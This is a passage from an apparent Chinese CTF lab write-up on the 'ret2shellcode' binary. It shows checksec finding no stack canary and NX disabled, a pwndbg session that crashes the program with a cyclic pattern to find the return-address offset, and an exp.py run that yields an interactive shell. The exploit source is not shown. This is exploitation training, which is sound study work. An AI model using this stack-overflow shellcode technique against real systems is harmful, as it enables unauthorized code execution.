ROP$ file ret2shellcode ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped ROP$ gdb ./ret2shellcode
step2 checksec
1
命令:checksec <.ELF>
1 2 3 4 5 6 7 8
ROP$ checksec ret2shellcode [*] '/home/pwn/桌面/题目/ROP/ret2shellcode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
pwndbg> q ROP$ gdb ./ret2shellcode GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1 Copyright (C) 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration"for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type"help". Type "apropos word" to search for commands related to "word"... pwndbg: loaded 192 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./ret2shellcode... pwndbg> r Starting program: /home/pwn/桌面/题目/ROP/ret2shellcode No system for you this time !!! aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma byebye ~ Program received signal SIGSEGV, Segmentation fault. 0x62616164 in ?? ()
ROP$ python3 exp.py [+] Starting local process './ret2shellcode': pid 2310 [*] Switching to interactive mode No system for you this time !!! byebye ~$ whoami pwn $ ls core ret2libc1 ret2libc3 ret2syscall tools exp.py ret2libc2 ret2shellcode ret2text